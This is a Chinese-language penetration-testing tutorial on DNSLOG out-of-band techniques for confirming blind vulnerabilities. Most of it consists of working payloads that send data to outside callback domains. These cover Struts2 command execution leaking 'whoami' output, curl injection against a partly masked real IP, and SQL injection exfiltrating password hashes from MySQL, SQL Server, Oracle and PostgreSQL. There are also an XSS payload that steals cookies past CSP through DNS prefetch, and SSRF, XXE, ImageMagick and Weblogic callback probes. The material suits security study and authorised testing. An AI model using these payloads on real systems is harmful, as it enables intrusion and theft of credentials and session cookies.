[TOC]
前言
描述:一个渗透安全工程师常常会在,某些安全测试项目中遇到,代码或者命令可以被执行,但是无任何的回显特征来判断攻击成功,
- 比如存在SSRF漏洞还可以利用回显来查看是否攻击成功(大部分),但是也存在SSRF无回显漏洞以及在XXE相关的漏洞(诸如Blind XXE和Blind SSRF之类的漏洞上)利用上也需要它;
- 再比如当再实际渗透测试中SQL盲注、命令盲注等漏洞是较难利用的由于无回显这类漏洞即使存在也显得有些鸡肋。针对此类问题我们可以使用DNSLOG来进行突破。
DNSlogFuzz渗透中的使用
描述:DNSLOG是一种回显机制,使用者可以通过DNS解析日志来读取漏洞的回显;
1.DNSLOG的原理 DNS的解析是递归与迭代相结合的,当我们访问一个根域的时候DNS的解析过程示意图,其中红色部分是可控的。
WeiyiGeek.参考Freebuf
我们只需要搭建一个红色部分的DNS服务器,并将要盲打或盲注的回显,放到自己域名的二级甚至三级域名上去请求,就可以通过DNS解析日志来获取到它们。
比如: 在 http://www.dnslog.cn/ 中申请一个域名然后,在对其子域名进行ping操作就能看到回显;
WeiyiGeek.DNSLOG回显
2.DNSlog服务器自己搭建 当然您也可以自建一个这样的平台直接使用BugScan团队开源的工具搭建即可,前提是您需要有自己的服务器和域名,
- https://github.com/BugScanTeam/DNSLog
或者使用在线平台:
- http://www.dnslog.cn/ (推荐使用无需注册)
- http://ceye.io/
- https://www.t00ls.net/dnslog.html
3.DNSlog使用场景和思路 场景零:不同命令执行回显
代码语言:javascript复制#linux下:
curl http://ip.port.b182oj.ceye.io/`whoami`
ping `whoami`.ip.port.b182oj.ceye.io
#Win下:
ping %USERNAME%.b182oj.ceye.io
变量 类型 描述
%ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。
%APPDATA% 本地 返回默认情况下应用程序存储数据的位置。
�% 本地 返回当前目录字符串。
%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。
%CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。
%COMPUTERNAME% 系统 返回计算机的名称。
%COMSPEC% 系统 返回命令行解释器可执行程序的准确路径。
�TE% 系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
%ERRORLEVEL% 系统 返回上一条命令的错误代码。通常用非零值表示错误。
%HOMEDRIVE% 系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%HOMEPATH% 系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%HOMESHARE% 系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。
%NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数目。
%OS% 系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
%PATH% 系统 指定可执行文件的搜索路径。
%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。
%PROCESSOR_ARCHITECTURE% 系统 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
%PROCESSOR_IDENTFIER% 系统 返回处理器说明。
%PROCESSOR_LEVEL% 系统 返回计算机上安装的处理器的型号。
%PROCESSOR_REVISION% 系统 返回处理器的版本号。
%PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
%SYSTEMROOT% 系统 返回 Windows server operating system 根目录的位置。
%TEMP%和%TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
%TIME% 系统 返回当前时间。使用与timet 命令相同的格式。由 Cmd.ex 生成。
%USERDOMAIN% 本地 返回包含用户帐户的域的名称。
%USERNAME% 本地 返回当前登录的用户的名称。
%USERPROFILE% 本地 返回当前用户的配置文件的位置。
%WINDIR% 系统 返回操作系统目录的位置。
场景一:命令盲注回显 比如:17年9月爆发的Struts2-052反序列化命令执行漏洞是看不到任何回显的,针对这种情况我们可以利用DNSLOG来获取命令的执行结果;
代码语言:javascript复制#Struts2
xx.action?redirect:http://ip.port.b182oj.ceye.io/%{3*4}
xx.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'whoami'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#t=#d.readLine(),#u="http://ip.port.b182oj.ceye.io/result=".concat(#t),#http=new java.net.URL(#u).openConnection(),#http.setRequestMethod("GET"),#http.connect(),#http.getInputStream()}
#Payload
go run main.go -u "http://202.114.**.***/view/index.action" -c 'curl "http://`id`.2ojptq.dnslog.cn"'
#回显请求
DNS Query Record IP Address Created Time
root.2ojptq.dnslog.cn **.204.65.56 2019-08-13 14:44:58
Playload解析:
根据语法规定会先将双引号中的whoami命令执行并替换为结果,再执行整个的curl命令。
注意为了防止内容不适合作为域名的一部分我们也可以base64编码后再进行请求。 (小技巧)
代码语言:javascript复制#方式1:针对于域名base64编码
echo "http://`id`.2ojptq.dnslog.cn" | base64
aHR0cDovL3VpZD0wKHJvb3QpIGdpZD0wKHJvb3QpIGdyb3Vwcz0wKHJvb3QpLjJvanB0cS5kbnNsb2cuY24K
#base64编码请求
go run main.go -u "http://202.114.**.***/view/index.action" -c 'curl $(echo "aHR0cDovL3VpZD0wKHJvb3QpIGdpZD0wKHJvb3QpIGdyb3Vwcz0wKHJvb3QpLjJvanB0cS5kbnNsb2cuY24K" | base64 -d)'
#方式2:针对于域名base64编码(需要注意URL有长度限制-推荐方式)
go run main.go -u "http://202.114.**.***/view/index.action" -c 'curl "http://`id|base64`.2ojptq.dnslog.cn"'
#请求结果
DNS Query Record IP Address Created Time
uid=0(root) gid=0(root) groups=0(root).2ojptq.dnslog.cn ***.204.**.56 2019-08-13 15:07:17
场景二:SQL盲注回显
描述:我们常常遇到在 bool型盲注
和 时间类型盲注
, 都需要频繁的跑请求才能够获取数据库中的值,在现代WAF的防护下很可能导致IP被ban;
利用方法:如遇到MySql的盲注时我们可以结合DNSLOG完美快速的将数据取出,可以利用内置函数load_file()来完成DNSLOG
(小技巧): load_file()不仅能够加载本地文件同时也能对诸如www.test.com这样的URL发起请求。
代码语言:javascript复制#利用条件
1.有file权限的数据库用户
2.且开启allow_url_fopen(默认开启)
3.secure_file_priv=/date/ #就只能读取该目录文件
代码语言:javascript复制#Payload:
select load_file(concat('\\', user(), '.4q9z30.dnslog.cn'));
http://127.0.0.1/fuzz/?id=1 and if((select load_file(concat(0x7c,(select database()),'.4q9z30.dnslog.cn'))),1,1)
#查看执行效果 (非常鸡肋,不容易成功)
root@localhost.4q9z30.dnslog.cn **.**.**.** 2019-07-27 09:45
补充利用:
代码语言:javascript复制#SQL Server
DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa')
'.ip.port.b182oj.ceye.io';
EXEC('master..xp_dirtree
"\' @host 'foobar$"');
#Oracle
SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');
SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;
SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;
#PostgreSQL
DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd
FROM pg_shadow WHERE usename='postgres');
exec_cmd := E'COPY table_output(content)
FROM E'\\\\'||query_result||E'.psql.ip.port.b182oj.ceye.io\\foobar.txt'';
EXECUTE exec_cmd;
END;
$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();
场景三: XSS绕过CSP 描述:CSP(内容安全策略)是防御XSS最有效的手段之一,当我们发现一个网站有XSS漏洞,想利用XSS平台来打Cookie时,CSP会通过白名单的方式,禁止跨域加载脚本,恶意代码便会因此被阻挡在门外导致此XSS无法利用;对此我们可以使用DNS预解析突破CSP的阻拦。
DNS预解析(DNS Prefetching)是一种能够加快网页加载速度的技术对于跨站的链接,由于每次都要进行一次DNS解析会消耗掉很多时间。 DNS预解析在浏览器空闲时,将跨站资源的域名转化为IP 地址并缓存,真正请求资源时就避免了解析的时间。
有趣的是DNS预解析是默认开启的,并且我们可以通过rel="dns-prefetch"
来强制进行DNS预解析。
(重点)由于DNS预解析可以绕过CSP进行解析
(重点),结合DNSLOG我们即可窃取在CSP保护下的Cookie。
#Payload
document.querySelector('body').innerHTML = "<link rel='dns-prefetch' href='" window.btoa(document.cookie.split(/;|=/)[1]) ".4q9z30.dnslog.cn'>"
#执行结果
R0ExLjIuMTY0MjI2NDMxNi4xNTMyNTc0NTg3.4q9z30.dnslog.cn **.**.**.** 2019-07-27 10:45
注意事项:
- 根据DNS的规定域名的长度是有限制的,有时可能无法将长Cookie完全带出(需要进行分段)
场景四:SSRF无回显解决 描述:很多SSRF的漏洞类型都是无回显,利用DNS回显来查看利用:
代码语言:javascript复制#Playload:
http://10.10.107.1:8080/ssrf.php?url=http://php.nf9eex.dnslog.cn
场景五:XXE无回显解决 描述:与xml格式相关的web漏洞传比较广泛的共有 xpath注入、xml注入、soap注入、XXE四种,在进行测试的时候往往也会遇到无回显的情况;
代码语言:javascript复制<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.b182oj.ceye.io/xxe_test">
%remote;]>
<root/>
场景六:其他漏洞攻击无回显解决
代码语言:javascript复制#FFMpeg
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://ip.port.b182oj.ceye.io
#EXT-X-ENDLIST
#Weblogic
xxoo.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://ip.port.b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search
#ImageMagick
push graphic-context
viewbox 0 0 640 480
fill 'url(http://ip.port.b182oj.ceye.io)'
pop graphic-context
#Resin
xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://ip.port.b182oj.ceye.io/ssrf
forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://ip.port.b182oj.ceye.io/xx.jpg[/img]&formhash=xxoo
参考来源:
- DNSlog原理: https://www.freebuf.com/column/184587.html
- 渗透使用方法: http://www.admintony.com/DNSLog在渗透中的使用.html
Timeout回显
描述:对于ssrf但是它有个通用的特点就是它发起的请求往往都是有 Apache-HttpClient 这款容器发起的。
代码语言:javascript复制1.1.1.1 - weiygeek.com/&referer=none - Apache-HttpClient/x.x (Java x.x minimum; Java/x.x.0)
#测试脚本代码
<?php
function is_allowed_URL($url){
//可用来防止HTTP头注入
if (!$url || !filter_var($url, FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED & FILTER_FLAG_HOST_REQUIRED & FILTER_FLAG_QUERY_REQUIRED)){
return false;
}
//仅允许http或https协议
if(!preg_match('/^https?://.*$/', $url)){
return false;
}
return true;
}
if (!is_allowed_URL($_GET['url'])) {
echo '非法';
exit;
}
//打开输出缓冲区并获取远程图片
ob_start();
$context = stream_context_create(
array('http' => array(
'follow_location' => false // don't follow redirects
))
);
//略
$ch = curl_init();
$timeout = 10;
curl_setopt ($ch, CURLOPT_URL, $_GET['url']);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$url = curl_exec($ch);
ob_end_clean();
有两种知识:
- “根据端口的响应时间判断端口是否存活:” http://192.168.1.1/ssrf.php?url=http://127.0.0.1:80
- Tips:采用Burpsuite测试遍历端口时记得把Intruder attack -- columns -- Response received打勾 WeiyiGeek.burpsuiter-SSRF-test